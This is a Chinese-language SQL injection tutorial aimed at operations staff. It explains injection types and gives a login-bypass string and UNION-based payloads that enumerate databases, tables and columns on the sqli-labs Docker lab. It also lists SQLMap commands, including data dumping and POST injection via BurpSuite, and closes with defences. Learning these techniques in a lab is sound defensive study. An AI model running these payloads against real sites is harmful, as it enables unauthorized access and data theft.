Web漏洞
作为一个运维人员,为了更好的看懂别人通过Web的常见漏洞入侵网站,必须学习产生Web常见漏洞的原理,和防护漏洞。常见的Web漏洞有SQL注入,XSS,上传文件,命令执行和文件泄露等。
当知道漏洞原理后,防护漏洞的流程
1)查看日志
2)测试搭建的防火墙的强度
SLQ注入
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入过程
PHP+Mysql例子
这里的意思是使用GET方式提交id到变量id上,再把变量id拼接到SQL语句中,通过mysql_query函数来查询对于的sql并返回结果。当用户通过参数传参时,php并没有对参数进行过滤,导致各种数据导入到数据库 使得数据库中有恶意的操作。
因此,一切有输入的地方,与数据交互的地方都会有SQL注入漏洞的产生。
如何去发现SQL注入?
1)通过Web漏洞扫描器
2)在参数后面添加错误语句
3)大量的对参数Fuzz测试
4)直觉/经验
注入分类
参数类型分类
数字型注入 参数是正型 select * from users where id = $id limit 0,1;
字符型注入 参数是字符型 select * from users where username = 'admin' limit 0,1;
提交方式分类
GET
POST
COOKIE
HTTP 头部注入
注入方式分类
基于报错注入
基于布尔的盲注
基于时间的盲注
联合查询
内联查询
堆叠的查询
SQL手工注入
小提示:当网站出现SQL注入漏洞时,可以使用万能密码登陆 在用户名中输入admin’or 1=1#
密码随便填写
其原理是
正常用户名和密码输入时admin admin时 sql语句是1
select * from user where username = 'admin' and password = 'admin';
使用万能密码是1
select * from user where username = 'admin’or 1=1# and password = 'admin';
此时这里逻辑是用户名是admin 并且1=1为真 #后字符都注释掉
参考网站 https://blog.csdn.net/weixin_41607190/article/details/82818804
搭建手工注入的环境
SQL注入漏洞环境下载地址 https://github.com/Audi-1/sqli-labs1
2docker pull acgiano/sqli-labs
docker run -dt --name sqil-lab -p 8003:80 acgpiano/sqli-labs:latest
使用浏览器打开网址
1)查看数据库有多少个字段1
?id=1' order by 3%23 查看到3是字段是显示正常 4不行 说明有两个字段
%23
等于#
2)查看当前数据库1
?id=-1' union select 1, version(), datebase()%23
datebase() 查看当前数据库
version() 查看当前版本
user() 查看当前的用户
@@version_compile_os 查看当前操作系统
3)查看所有数据库1
?id=-1' Union select 1,group_concat(schema_name),3 from information_schema.schemata%23
information_schema是MySQL中自带的数据库 那库的表存放所有表名和字段名
4)查询数据库中的表1
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
5)查询表名中的所有字段1
?id=-1'UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name = 0x7573657273%23
SQLMap
知道了怎么样sql手工注入后,可以通过软件SQLMap工具来代替手工注入。可以通过它来测试自己搭建的网站强度。它运行在Python环境下,官网是 http://sqlmap.org
常用参数
1.)判断注入1
python sqlmap.py http://URL -v 3
2) 查看当前数据库和权限1
2python sqlmap.py http://URL --dbs -v 3
python sqlmap.py http://URL –current-user -v 3
3.)查看表名1
python sqlmap.py http://URL --tables -D 数据库名 -v 3
4) 查看字段名1
python sqlmap.py http://URL --column -T 表名 -D 数据库名 -v 3
5)查看字段里的数据1
python sqlmap.py http://URL --dump -T -C 字段名 -T 表名 -D 数据库名 -v 3
POST方式通过SQLMap注入
当网站提交数据是POST方法时,也可以通过SQLMap注入的
步骤
1)在登陆页输入用户名和密码 使用BurpSuite抓包 获得包的信息1
java -jar BurpUnlimited.jar
2)把包的信息保存到文件中1
vim test.txt
3)SQLMap指定文件注入
1 | python sqlmap.py -r test.txt -v 3 |
如何去防护SQL注入?
1)CDN隐藏真实IP地址
2)开发人员通过安全函数进行过滤
3)对数据库最小权限设置
4)服务器针对性的WAF防火墙